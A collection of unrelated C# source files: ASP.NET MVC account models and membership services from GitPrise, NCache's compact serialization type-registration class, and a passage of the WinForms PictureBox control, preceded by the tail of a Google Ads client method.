Modify_MutateConversionValueRulesRequest(ref request, ref callSettings);
return _callMutateConversionValueRules.Async(request, callSettings);
}
}
}
| |
#region License
// Copyright 2010 Robert Wilczynski (http://github.com/robertwilczynski/gitprise)
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#endregion
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using System.Globalization;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Security;
namespace GitPrise.Web.Models
{
#region Models
[PropertiesMustMatch("NewPassword", "ConfirmPassword", ErrorMessage = "The new password and confirmation password do not match.")]
public class ChangePasswordModel
{
[Required]
[DataType(DataType.Password)]
[DisplayName("Current password")]
public string OldPassword { get; set; }
[Required]
[ValidatePasswordLength]
[DataType(DataType.Password)]
[DisplayName("New password")]
public string NewPassword { get; set; }
[Required]
[DataType(DataType.Password)]
[DisplayName("Confirm new password")]
public string ConfirmPassword { get; set; }
}
public class LogOnModel
{
[Required]
[DisplayName("User name")]
public string UserName { get; set; }
[Required]
[DataType(DataType.Password)]
[DisplayName("Password")]
public string Password { get; set; }
[DisplayName("Remember me?")]
public bool RememberMe { get; set; }
}
[PropertiesMustMatch("Password", "ConfirmPassword", ErrorMessage = "The password and confirmation password do not match.")]
public class RegisterModel
{
[Required]
[DisplayName("User name")]
public string UserName { get; set; }
[Required]
[DataType(DataType.EmailAddress)]
[DisplayName("Email address")]
public string Email { get; set; }
[Required]
[ValidatePasswordLength]
[DataType(DataType.Password)]
[DisplayName("Password")]
public string Password { get; set; }
[Required]
[DataType(DataType.Password)]
[DisplayName("Confirm password")]
public string ConfirmPassword { get; set; }
}
#endregion
#region Services
// The FormsAuthentication type is sealed and contains static members, so it is difficult to
// unit test code that calls its members. The interface and helper class below demonstrate
// how to create an abstract wrapper around such a type in order to make the AccountController
// code unit testable.
public interface IMembershipService
{
int MinPasswordLength { get; }
bool ValidateUser(string userName, string password);
MembershipCreateStatus CreateUser(string userName, string password, string email);
bool ChangePassword(string userName, string oldPassword, string newPassword);
}
public class AccountMembershipService : IMembershipService
{
private readonly MembershipProvider _provider;
public AccountMembershipService()
: this(null)
{
}
public AccountMembershipService(MembershipProvider provider)
{
_provider = provider ?? Membership.Provider;
}
public int MinPasswordLength
{
get
{
return _provider.MinRequiredPasswordLength;
}
}
public bool ValidateUser(string userName, string password)
{
if (String.IsNullOrEmpty(userName)) throw new ArgumentException("Value cannot be null or empty.", "userName");
if (String.IsNullOrEmpty(password)) throw new ArgumentException("Value cannot be null or empty.", "password");
return _provider.ValidateUser(userName, password);
}
public MembershipCreateStatus CreateUser(string userName, string password, string email)
{
if (String.IsNullOrEmpty(userName)) throw new ArgumentException("Value cannot be null or empty.", "userName");
if (String.IsNullOrEmpty(password)) throw new ArgumentException("Value cannot be null or empty.", "password");
if (String.IsNullOrEmpty(email)) throw new ArgumentException("Value cannot be null or empty.", "email");
MembershipCreateStatus status;
_provider.CreateUser(userName, password, email, null, null, true, null, out status);
return status;
}
public bool ChangePassword(string userName, string oldPassword, string newPassword)
{
if (String.IsNullOrEmpty(userName)) throw new ArgumentException("Value cannot be null or empty.", "userName");
if (String.IsNullOrEmpty(oldPassword)) throw new ArgumentException("Value cannot be null or empty.", "oldPassword");
if (String.IsNullOrEmpty(newPassword)) throw new ArgumentException("Value cannot be null or empty.", "newPassword");
// The underlying ChangePassword() will throw an exception rather
// than return false in certain failure scenarios.
try
{
MembershipUser currentUser = _provider.GetUser(userName, true /* userIsOnline */);
return currentUser.ChangePassword(oldPassword, newPassword);
}
catch (ArgumentException)
{
return false;
}
catch (MembershipPasswordException)
{
return false;
}
}
}
public interface IFormsAuthenticationService
{
void SignIn(string userName, bool createPersistentCookie);
void SignOut();
}
public class FormsAuthenticationService : IFormsAuthenticationService
{
public void SignIn(string userName, bool createPersistentCookie)
{
if (String.IsNullOrEmpty(userName)) throw new ArgumentException("Value cannot be null or empty.", "userName");
FormsAuthentication.SetAuthCookie(userName, createPersistentCookie);
}
public void SignOut()
{
FormsAuthentication.SignOut();
}
}
#endregion
#region Validation
public static class AccountValidation
{
public static string ErrorCodeToString(MembershipCreateStatus createStatus)
{
// See http://go.microsoft.com/fwlink/?LinkID=177550 for
// a full list of status codes.
switch (createStatus)
{
case MembershipCreateStatus.DuplicateUserName:
return "Username already exists. Please enter a different user name.";
case MembershipCreateStatus.DuplicateEmail:
return "A username for that e-mail address already exists. Please enter a different e-mail address.";
case MembershipCreateStatus.InvalidPassword:
return "The password provided is invalid. Please enter a valid password value.";
case MembershipCreateStatus.InvalidEmail:
return "The e-mail address provided is invalid. Please check the value and try again.";
case MembershipCreateStatus.InvalidAnswer:
return "The password retrieval answer provided is invalid. Please check the value and try again.";
case MembershipCreateStatus.InvalidQuestion:
return "The password retrieval question provided is invalid. Please check the value and try again.";
case MembershipCreateStatus.InvalidUserName:
return "The user name provided is invalid. Please check the value and try again.";
case MembershipCreateStatus.ProviderError:
return "The authentication provider returned an error. Please verify your entry and try again. If the problem persists, please contact your system administrator.";
case MembershipCreateStatus.UserRejected:
return "The user creation request has been canceled. Please verify your entry and try again. If the problem persists, please contact your system administrator.";
default:
return "An unknown error occurred. Please verify your entry and try again. If the problem persists, please contact your system administrator.";
}
}
}
[AttributeUsage(AttributeTargets.Class, AllowMultiple = true, Inherited = true)]
public sealed class PropertiesMustMatchAttribute : ValidationAttribute
{
private const string _defaultErrorMessage = "'{0}' and '{1}' do not match.";
private readonly object _typeId = new object();
public PropertiesMustMatchAttribute(string originalProperty, string confirmProperty)
: base(_defaultErrorMessage)
{
OriginalProperty = originalProperty;
ConfirmProperty = confirmProperty;
}
public string ConfirmProperty { get; private set; }
public string OriginalProperty { get; private set; }
public override object TypeId
{
get
{
return _typeId;
}
}
public override string FormatErrorMessage(string name)
{
return String.Format(CultureInfo.CurrentUICulture, ErrorMessageString,
OriginalProperty, ConfirmProperty);
}
public override bool IsValid(object value)
{
PropertyDescriptorCollection properties = TypeDescriptor.GetProperties(value);
object originalValue = properties.Find(OriginalProperty, true /* ignoreCase */).GetValue(value);
object confirmValue = properties.Find(ConfirmProperty, true /* ignoreCase */).GetValue(value);
return Object.Equals(originalValue, confirmValue);
}
}
[AttributeUsage(AttributeTargets.Field | AttributeTargets.Property, AllowMultiple = false, Inherited = true)]
public sealed class ValidatePasswordLengthAttribute : ValidationAttribute
{
private const string _defaultErrorMessage = "'{0}' must be at least {1} characters long.";
private readonly int _minCharacters = Membership.Provider.MinRequiredPasswordLength;
public ValidatePasswordLengthAttribute()
: base(_defaultErrorMessage)
{
}
public override string FormatErrorMessage(string name)
{
return String.Format(CultureInfo.CurrentUICulture, ErrorMessageString,
name, _minCharacters);
}
public override bool IsValid(object value)
{
string valueAsString = value as string;
return (valueAsString != null && valueAsString.Length >= _minCharacters);
}
}
#endregion
}
| |
// Copyright (c) 2021 Alachisoft
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License
using System;
using System.Collections;
using Alachisoft.NCache.Serialization.Surrogates;
using System.Collections.Generic;
using Alachisoft.NCache.Common.Pooling;
using Alachisoft.NCache.Runtime.Serialization;
namespace Alachisoft.NCache.Serialization
{
/// <summary>
/// Provides methods to register <see cref="ICompactSerializable"/> implementations
/// utilizing available surrogates.
/// </summary>
public sealed class CompactFormatterServices
{
static object mutex = new object();
#region / ICompactSerializable specific /
/// <summary>
/// Registers a type that implements <see cref="ICompactSerializable"/> with the system. If the
/// type is an array of <see cref="ICompactSerializable"/>s appropriate surrogates for arrays
/// and the element type are also registered.
/// </summary>
/// <param name="type">type that implements <see cref="ICompactSerializable"/></param>
/// <exception cref="ArgumentNullException">If <param name="type"/> is null.
/// </exception>
/// <exception cref="ArgumentException">
/// If the <param name="type"/> is already registered or when no appropriate surrogate
/// is found for the specified <param name="type"/>.
/// </exception>
static public void RegisterCompactType(Type type, short typeHandle, IObjectPool pool = null)
{
//registers type as version compatible compact type
RegisterCompactType(type, typeHandle, true, pool);
}
/// <summary>
/// Registers a type that implements <see cref="ICompactSerializable"/> with the system. If the
/// type is an array of <see cref="ICompactSerializable"/>s appropriate surrogates for arrays
/// and the element type are also registered.
/// </summary>
/// <param name="type">type that implements <see cref="ICompactSerializable"/></param>
/// <exception cref="ArgumentNullException">If <param name="type"/> is null.
/// </exception>
/// <exception cref="ArgumentException">
/// If the <param name="type"/> is already registered or when no appropriate surrogate
/// is found for the specified <param name="type"/>.
/// </exception>
static public void RegisterNonVersionCompatibleCompactType(Type type, short typeHandle, IObjectPool pool = null)
{
RegisterCompactType(type, typeHandle, false, pool);
}
static private void RegisterCompactType(Type type, short typeHandle, bool versionCompatible, IObjectPool pool = null)
{
if (type == null) throw new ArgumentNullException("type");
ISerializationSurrogate surrogate = null;
if ((surrogate = TypeSurrogateSelector.GetSurrogateForTypeStrict(type,null)) != null)
{
if (surrogate.ObjectPool == null && pool != null)
surrogate.ObjectPool = pool;
//No need to check subHandle since this funciton us not used by DataSharing
if (surrogate.TypeHandle == typeHandle)
return; //Type is already registered with same handle.
throw new ArgumentException("Type " + type.FullName + " is already registered with different handle");
}
//if (typeof(IDictionary).IsAssignableFrom(type))
//{
// if (type.IsGenericType)
// surrogate = new GenericIDictionarySerializationSurrogate(typeof(IDictionary<,>));
// else
// surrogate = new IDictionarySerializationSurrogate(type);
//}
if (typeof(Dictionary<,>).Equals(type))
{
if (type.IsGenericType)
surrogate = new GenericIDictionarySerializationSurrogate(typeof(IDictionary<,>));
else
surrogate = new IDictionarySerializationSurrogate(type);
}
else if (type.IsArray)
{
surrogate = new ArraySerializationSurrogate(type);
}
//else if (typeof(IList).IsAssignableFrom(type))
//{
// if (type.IsGenericType)
// surrogate = new GenericIListSerializationSurrogate(typeof(IList<>));
// else
// surrogate = new IListSerializationSurrogate(type);
//}
else if (typeof(List<>).Equals(type))
{
if (type.IsGenericType)
surrogate = new GenericIListSerializationSurrogate(typeof(IList<>));
else
surrogate = new IListSerializationSurrogate(type);
}
else if (typeof(ICompactSerializable).IsAssignableFrom(type))
{
if (versionCompatible)
surrogate = new VersionCompatibleCompactSerializationSurrogate(type, pool);
else
surrogate = new ICompactSerializableSerializationSurrogate(type, pool);
}
else if (typeof(Enum).IsAssignableFrom(type))
{
surrogate = new EnumSerializationSurrogate(type);
}
if (surrogate == null)
throw new ArgumentException("No appropriate surrogate found for type " + type.FullName);
TypeSurrogateSelector.RegisterTypeSurrogate(surrogate, typeHandle);
}
/// <summary>
/// Registers a type that implements <see cref="ICompactSerializable"/> with the system. If the
/// type is an array of <see cref="ICompactSerializable"/>s appropriate surrogates for arrays
/// and the element type are also registered.
/// </summary>
/// <param name="type">type that implements <see cref="ICompactSerializable"/></param>
/// <exception cref="ArgumentNullException">If <param name="type"/> is null.
/// </exception>
/// <exception cref="ArgumentException">
/// If the <param name="type"/> is already registered or when no appropriate surrogate
/// is found for the specified <param name="type"/>.
/// </exception>
static public void RegisterCustomCompactType(Type type, short typeHandle,string cacheContext, short subTypeHandle, Hashtable attributeOrder,bool portable,Hashtable nonCompactFields, IObjectPool pool = null)
{
if (type == null) throw new ArgumentNullException("type");
ISerializationSurrogate surrogate = null;
if(cacheContext == null) throw new ArgumentException("cacheContext can not be null");
if ((surrogate = TypeSurrogateSelector.GetSurrogateForTypeStrict(type,cacheContext)) != null)
{
if (surrogate.ObjectPool == null && pool != null)
surrogate.ObjectPool = pool;
if (surrogate.TypeHandle == typeHandle && ( surrogate.SubTypeHandle == subTypeHandle || surrogate.SubTypeHandle != 0))
return; //Type is already registered with same handle.
throw new ArgumentException("Type " + type.FullName + " is already registered with different handle");
}
if (typeof(Dictionary<,>).Equals(type) && string.IsNullOrEmpty(((Type[])type.GetGenericArguments())[0].FullName))
{
if (type.IsGenericType)
surrogate = new GenericIDictionarySerializationSurrogate(typeof(IDictionary<,>));
else
surrogate = new IDictionarySerializationSurrogate(type);
}
else if (type.IsArray)
{
surrogate = new ArraySerializationSurrogate(type);
}
else if (typeof(List<>).Equals(type) && string.IsNullOrEmpty(((Type[])type.GetGenericArguments())[0].FullName))
{
if (type.IsGenericType)
surrogate = new GenericIListSerializationSurrogate(typeof(IList<>));
else
surrogate = new IListSerializationSurrogate(type);
}
else if (typeof(ICompactSerializable).IsAssignableFrom(type))
{
surrogate = new ICompactSerializableSerializationSurrogate(type, pool);
}
else if (typeof(Enum).IsAssignableFrom(type))
{
surrogate = new EnumSerializationSurrogate(type);
}
else
{
lock (mutex)
{
DynamicSurrogateBuilder.Portable = portable;
if (portable)
DynamicSurrogateBuilder.SubTypeHandle = subTypeHandle;
surrogate = DynamicSurrogateBuilder.CreateTypeSurrogate(type, attributeOrder,nonCompactFields);
}
}
if (surrogate == null)
throw new ArgumentException("No appropriate surrogate found for type " + type.FullName);
TypeSurrogateSelector.RegisterTypeSurrogate(surrogate, typeHandle,cacheContext, subTypeHandle, portable);
}
/// <summary>
/// Registers a type that implements <see cref="ICompactSerializable"/> with the system. If the
/// type is an array of <see cref="ICompactSerializable"/>s appropriate surrogates for arrays
/// and the element type are also registered.
/// </summary>
/// <param name="type">type that implements <see cref="ICompactSerializable"/></param>
/// <exception cref="ArgumentNullException">If <param name="type"/> is null.
/// </exception>
/// <exception cref="ArgumentException">
/// If the <param name="type"/> is already registered or when no appropriate surrogate
/// is found for the specified <param name="type"/>.
/// </exception>
static public void RegisterCompactType(Type type, IObjectPool pool = null)
{
if (type == null) throw new ArgumentNullException("type");
if (TypeSurrogateSelector.GetSurrogateForTypeStrict(type,null) != null)
throw new ArgumentException("Type '" + type.FullName + "' is already registered");
ISerializationSurrogate surrogate = null;
//if (typeof(IDictionary).IsAssignableFrom(type))
//{
// surrogate = new IDictionarySerializationSurrogate(type);
//}
if (typeof(Dictionary<,>).Equals(type))
{
surrogate = new IDictionarySerializationSurrogate(type);
}
else if (type.IsArray)
{
surrogate = new ArraySerializationSurrogate(type);
}
//else if (typeof(IList).IsAssignableFrom(type))
//{
// surrogate = new IListSerializationSurrogate(type);
//}
else if (typeof(List<>).Equals(type))
{
surrogate = new IListSerializationSurrogate(type);
}
else if (typeof(ICompactSerializable).IsAssignableFrom(type))
{
surrogate = new ICompactSerializableSerializationSurrogate(type, null);
}
else if (typeof(Enum).IsAssignableFrom(type))
{
surrogate = new EnumSerializationSurrogate(type);
}
if (surrogate == null)
throw new ArgumentException("No appropriate surrogate found for type " + type.FullName);
TypeSurrogateSelector.RegisterTypeSurrogate(surrogate);
}
/// <summary>
/// Unregisters the surrogate for the specified type that implements
/// <see cref="ICompactSerializable"/> from the system. Used only to unregister
/// internal types.
/// <b><u>NOTE: </u></b> <b>CODE COMMENTED, NOT IMPLEMENTED</b>
/// </summary>
/// <param name="type">the specified type</param>
static public void UnregisterCompactType(Type type)
{
// throw new NotImplementedException();
if (type == null) throw new ArgumentNullException("type");
if (TypeSurrogateSelector.GetSurrogateForTypeStrict(type,null) == null) return;
if (type.IsArray ||
//typeof(IDictionary).IsAssignableFrom(type) ||
//typeof(IList).IsAssignableFrom(type) ||
typeof(Dictionary<,>).Equals(type) ||
typeof(List<>).Equals(type) ||
typeof(ICompactSerializable).IsAssignableFrom(type) ||
typeof(Enum).IsAssignableFrom(type))
{
ISerializationSurrogate surrogate = TypeSurrogateSelector.GetSurrogateForTypeStrict(type,null);
TypeSurrogateSelector.UnregisterTypeSurrogate(surrogate);
System.Diagnostics.Debug.WriteLine("Unregistered surrogate for type " + type.FullName);
}
}
/// <summary>
/// Unregisters the surrogate for the Custom specified type that implements
/// <see cref="ICompactSerializable"/> from the system.
/// </summary>
/// <param name="type">the specified type</param>
static public void UnregisterCustomCompactType(Type type,string cacheContext)
{
throw new NotImplementedException();
if (type == null) throw new ArgumentNullException("type");
if (cacheContext == null) throw new ArgumentException("cacheContext can not be null");
if (TypeSurrogateSelector.GetSurrogateForTypeStrict(type,cacheContext) == null) return;
if (type.IsArray ||
//typeof(IDictionary).IsAssignableFrom(type) ||
//typeof(IList).IsAssignableFrom(type) ||
typeof(Dictionary<,>).Equals(type) ||
typeof(List<>).Equals(type) ||
typeof(ICompactSerializable).IsAssignableFrom(type) ||
typeof(Enum).IsAssignableFrom(type))
{
ISerializationSurrogate surrogate = TypeSurrogateSelector.GetSurrogateForTypeStrict(type,cacheContext);
TypeSurrogateSelector.UnregisterTypeSurrogate(surrogate,cacheContext);
System.Diagnostics.Debug.WriteLine("Unregistered surrogate for type " + type.FullName);
}
}
/// <summary>
/// Unregisters all the compact types associated with the cache context.
/// </summary>
/// <param name="cacheContext">Cache context</param>
static public void UnregisterAllCustomCompactTypes(string cacheContext)
{
if (cacheContext == null) throw new ArgumentException("cacheContext can not be null");
TypeSurrogateSelector.UnregisterAllSurrogates(cacheContext);
}
#endregion
}
}
| |
//------------------------------------------------------------------------------
// <copyright file="PictureBox.cs" company="Microsoft">
// Copyright (c) Microsoft Corporation. All rights reserved.
// </copyright>
//------------------------------------------------------------------------------
namespace System.Windows.Forms {
using System.Runtime.Serialization.Formatters;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Diagnostics;
using System.Diagnostics.CodeAnalysis;
using System;
using System.IO;
using System.Security.Permissions;
using System.Drawing;
using System.Net;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Threading;
using System.Windows.Forms.Layout;
using Microsoft.Win32;
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox"]/*' />
/// <devdoc>
/// <para> Displays an image that can be a graphic from a bitmap,
/// icon, or metafile, as well as from
/// an enhanced metafile, JPEG, or GIF files.</para>
/// </devdoc>
[
ComVisible(true),
ClassInterface(ClassInterfaceType.AutoDispatch),
DefaultProperty("Image"),
DefaultBindingProperty("Image"),
Docking(DockingBehavior.Ask),
Designer("System.Windows.Forms.Design.PictureBoxDesigner, " + AssemblyRef.SystemDesign),
SRDescription(SR.DescriptionPictureBox)
]
public class PictureBox : Control, ISupportInitialize {
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.borderStyle"]/*' />
/// <devdoc>
/// The type of border this control will have.
/// </devdoc>
private BorderStyle borderStyle = System.Windows.Forms.BorderStyle.None;
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.image"]/*' />
/// <devdoc>
/// The image being displayed.
/// </devdoc>
private Image image;
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.sizeMode"]/*' />
/// <devdoc>
/// Controls how the image is placed within our bounds, or how we are
/// sized to fit said image.
/// </devdoc>
private PictureBoxSizeMode sizeMode = PictureBoxSizeMode.Normal;
private Size savedSize;
bool currentlyAnimating;
// Instance members for asynchronous behavior
private AsyncOperation currentAsyncLoadOperation = null;
private string imageLocation;
private Image initialImage;
private Image errorImage;
private int contentLength;
private int totalBytesRead;
private MemoryStream tempDownloadStream;
private const int readBlockSize = 4096;
private byte[] readBuffer = null;
private ImageInstallationType imageInstallationType;
private SendOrPostCallback loadCompletedDelegate = null;
private SendOrPostCallback loadProgressDelegate = null;
private bool handleValid = false;
private object internalSyncObject = new object();
// These default images will be demand loaded.
private Image defaultInitialImage = null;
private Image defaultErrorImage = null;
[ ThreadStatic ]
private static Image defaultInitialImageForThread = null;
[ ThreadStatic ]
private static Image defaultErrorImageForThread = null;
private static readonly object defaultInitialImageKey = new object();
private static readonly object defaultErrorImageKey = new object();
private static readonly object loadCompletedKey = new object();
private static readonly object loadProgressChangedKey = new object();
private const int PICTUREBOXSTATE_asyncOperationInProgress = 0x00000001;
private const int PICTUREBOXSTATE_cancellationPending = 0x00000002;
private const int PICTUREBOXSTATE_useDefaultInitialImage = 0x00000004;
private const int PICTUREBOXSTATE_useDefaultErrorImage = 0x00000008;
private const int PICTUREBOXSTATE_waitOnLoad = 0x00000010;
private const int PICTUREBOXSTATE_needToLoadImageLocation = 0x00000020;
private const int PICTUREBOXSTATE_inInitialization = 0x00000040;
// PERF: take all the bools and put them into a state variable
private System.Collections.Specialized.BitVector32 pictureBoxState; // see PICTUREBOXSTATE_ consts above
// http://msdn.microsoft.com/en-us/library/93z9ee4x(v=VS.100).aspx
// if we load an image from a stream,
// we must keep the stream open for the lifetime of the Image
StreamReader localImageStreamReader = null;
Stream uriImageStream = null;
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.PictureBox"]/*' />
/// <devdoc>
/// <para>Creates a new picture with all default properties and no
/// Image. The default PictureBox.SizeMode will be PictureBoxSizeMode.NORMAL.
/// </para>
/// </devdoc>
public PictureBox() {
// this class overrides GetPreferredSizeCore, let Control automatically cache the result
SetState2(STATE2_USEPREFERREDSIZECACHE, true);
pictureBoxState = new System.Collections.Specialized.BitVector32(PICTUREBOXSTATE_useDefaultErrorImage |
PICTUREBOXSTATE_useDefaultInitialImage);
SetStyle(ControlStyles.Opaque |ControlStyles.Selectable , false);
SetStyle(ControlStyles.OptimizedDoubleBuffer|ControlStyles.SupportsTransparentBackColor, true);
TabStop = false;
savedSize = Size;
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.AllowDrop"]/*' />
/// <internalonly/><hideinheritance/>
/// <devdoc>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public override bool AllowDrop {
get {
return base.AllowDrop;
}
set {
base.AllowDrop = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.BorderStyle"]/*' />
/// <devdoc>
/// <para> Indicates the
/// border style for the control.</para>
/// </devdoc>
[
DefaultValue(BorderStyle.None),
SRCategory(SR.CatAppearance),
DispId(NativeMethods.ActiveX.DISPID_BORDERSTYLE),
SRDescription(SR.PictureBoxBorderStyleDescr)
]
public BorderStyle BorderStyle {
get {
return borderStyle;
}
set {
//valid values are 0x0 to 0x2
if (!ClientUtils.IsEnumValid(value, (int)value, (int)BorderStyle.None, (int)BorderStyle.Fixed3D)){
throw new InvalidEnumArgumentException("value", (int)value, typeof(BorderStyle));
}
if (borderStyle != value) {
borderStyle = value;
RecreateHandle();
AdjustSize();
}
}
}
// Try to build a URI, but if that fails, that means it's a relative
// path, and we treat it as relative to the working directory (which is
// what GetFullPath uses).
private Uri CalculateUri(string path)
{
Uri uri;
try
{
uri = new Uri(path);
}
catch (UriFormatException)
{
// It's a relative pathname, get its full path as a file.
path = Path.GetFullPath(path);
uri = new Uri(path);
}
return uri;
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.CancelAsync"]/*' />
[
SRCategory(SR.CatAsynchronous),
SRDescription(SR.PictureBoxCancelAsyncDescr)
]
public void CancelAsync()
{
pictureBoxState[PICTUREBOXSTATE_cancellationPending] = true;
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.CausesValidation"]/*' />
/// <internalonly/>
/// <devdoc/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public new bool CausesValidation {
get {
return base.CausesValidation;
}
set {
base.CausesValidation = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.CausesValidationChanged"]/*' />
/// <internalonly/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
new public event EventHandler CausesValidationChanged {
add {
base.CausesValidationChanged += value;
}
remove {
base.CausesValidationChanged -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.CreateParams"]/*' />
/// <internalonly/>
/// <devdoc>
/// <para>Returns the parameters needed to create the handle. Inheriting classes
/// can override this to provide extra functionality. They should not,
/// however, forget to call base.getCreateParams() first to get the struct
/// filled up with the basic info.</para>
/// </devdoc>
protected override CreateParams CreateParams {
[SecurityPermission(SecurityAction.LinkDemand, Flags=SecurityPermissionFlag.UnmanagedCode)]
get {
CreateParams cp = base.CreateParams;
switch (borderStyle) {
case BorderStyle.Fixed3D:
cp.ExStyle |= NativeMethods.WS_EX_CLIENTEDGE;
break;
case BorderStyle.FixedSingle:
cp.Style |= NativeMethods.WS_BORDER;
break;
}
return cp;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.DefaultImeMode"]/*' />
protected override ImeMode DefaultImeMode {
get {
return ImeMode.Disable;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.DefaultSize"]/*' />
/// <devdoc>
/// Deriving classes can override this to configure a default size for their control.
/// This is more efficient than setting the size in the control's constructor.
/// </devdoc>
protected override Size DefaultSize {
get {
return new Size(100, 50);
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.ErrorImage"]/*' />
[
SRCategory(SR.CatAsynchronous),
Localizable(true),
RefreshProperties(RefreshProperties.All),
SRDescription(SR.PictureBoxErrorImageDescr)
]
public Image ErrorImage {
[ResourceExposure(ResourceScope.Machine)]
[ResourceConsumption(ResourceScope.Machine)]
get {
// Strange pictureBoxState[PICTUREBOXSTATE_useDefaultErrorImage] approach used
// here to avoid statically loading the default bitmaps from resources at
// runtime when they're never used.
if (errorImage == null && pictureBoxState[PICTUREBOXSTATE_useDefaultErrorImage])
{
if (defaultErrorImage == null)
{
// Can't share images across threads.
if (defaultErrorImageForThread == null)
{
defaultErrorImageForThread =
new Bitmap(typeof(PictureBox),
"ImageInError.bmp");
}
defaultErrorImage = defaultErrorImageForThread;
}
errorImage = defaultErrorImage;
}
return errorImage;
}
set {
if (ErrorImage != value)
{
pictureBoxState[PICTUREBOXSTATE_useDefaultErrorImage] = false;
}
errorImage = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.ForeColor"]/*' />
/// <internalonly/><hideinheritance/>
/// <devdoc>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public override Color ForeColor {
get {
return base.ForeColor;
}
set {
base.ForeColor = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.ForeColorChanged"]/*' />
/// <internalonly/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
new public event EventHandler ForeColorChanged {
add {
base.ForeColorChanged += value;
}
remove {
base.ForeColorChanged -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.Font"]/*' />
/// <internalonly/><hideinheritance/>
/// <devdoc>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public override Font Font {
get {
return base.Font;
}
set {
base.Font = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.FontChanged"]/*' />
/// <internalonly/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
new public event EventHandler FontChanged {
add {
base.FontChanged += value;
}
remove {
base.FontChanged -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.Image"]/*' />
/// <devdoc>
/// <para>Retrieves the Image that the <see cref='System.Windows.Forms.PictureBox'/> is currently displaying.</para>
/// </devdoc>
[
SRCategory(SR.CatAppearance),
Localizable(true),
Bindable(true),
SRDescription(SR.PictureBoxImageDescr)
]
public Image Image {
[ResourceExposure(ResourceScope.Machine)]
get {
return image;
}
set {
InstallNewImage(value, ImageInstallationType.DirectlySpecified);
}
}
// The area occupied by the image
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.ImageLocation"]/*' />
[
SRCategory(SR.CatAsynchronous),
Localizable(true),
DefaultValue(null),
RefreshProperties(RefreshProperties.All),
SRDescription(SR.PictureBoxImageLocationDescr)
]
public string ImageLocation
{
get
{
return imageLocation;
}
set
{
// Reload even if value hasn't changed, since Image itself may
// have changed.
imageLocation = value;
pictureBoxState[PICTUREBOXSTATE_needToLoadImageLocation] = !string.IsNullOrEmpty(imageLocation);
// Reset main image if it hasn't been directly specified.
if (string.IsNullOrEmpty(imageLocation) &&
imageInstallationType != ImageInstallationType.DirectlySpecified)
{
InstallNewImage(null, ImageInstallationType.DirectlySpecified);
}
if (WaitOnLoad && !pictureBoxState[PICTUREBOXSTATE_inInitialization] && !string.IsNullOrEmpty(imageLocation))
{
// Load immediately, so any error will occur synchronously
Load();
}
Invalidate();
}
}
private Rectangle ImageRectangle {
get {
return ImageRectangleFromSizeMode(sizeMode);
}
}
private Rectangle ImageRectangleFromSizeMode(PictureBoxSizeMode mode)
{
Rectangle result = LayoutUtils.DeflateRect(ClientRectangle, Padding);
if (image != null) {
switch (mode) {
case PictureBoxSizeMode.Normal:
case PictureBoxSizeMode.AutoSize:
// Use image's size rather than client size.
result.Size = image.Size;
break;
case PictureBoxSizeMode.StretchImage:
// Do nothing, was initialized to the available dimensions.
break;
case PictureBoxSizeMode.CenterImage:
// Center within the available space.
result.X += (result.Width - image.Width) / 2;
result.Y += (result.Height - image.Height) / 2;
result.Size = image.Size;
break;
case PictureBoxSizeMode.Zoom:
Size imageSize = image.Size;
float ratio = Math.Min((float)ClientRectangle.Width / (float)imageSize.Width, (float)ClientRectangle.Height / (float)imageSize.Height);
result.Width = (int)(imageSize.Width * ratio);
result.Height = (int) (imageSize.Height * ratio);
result.X = (ClientRectangle.Width - result.Width) /2;
result.Y = (ClientRectangle.Height - result.Height) /2;
break;
default:
Debug.Fail("Unsupported PictureBoxSizeMode value: " + mode);
break;
}
}
return result;
}
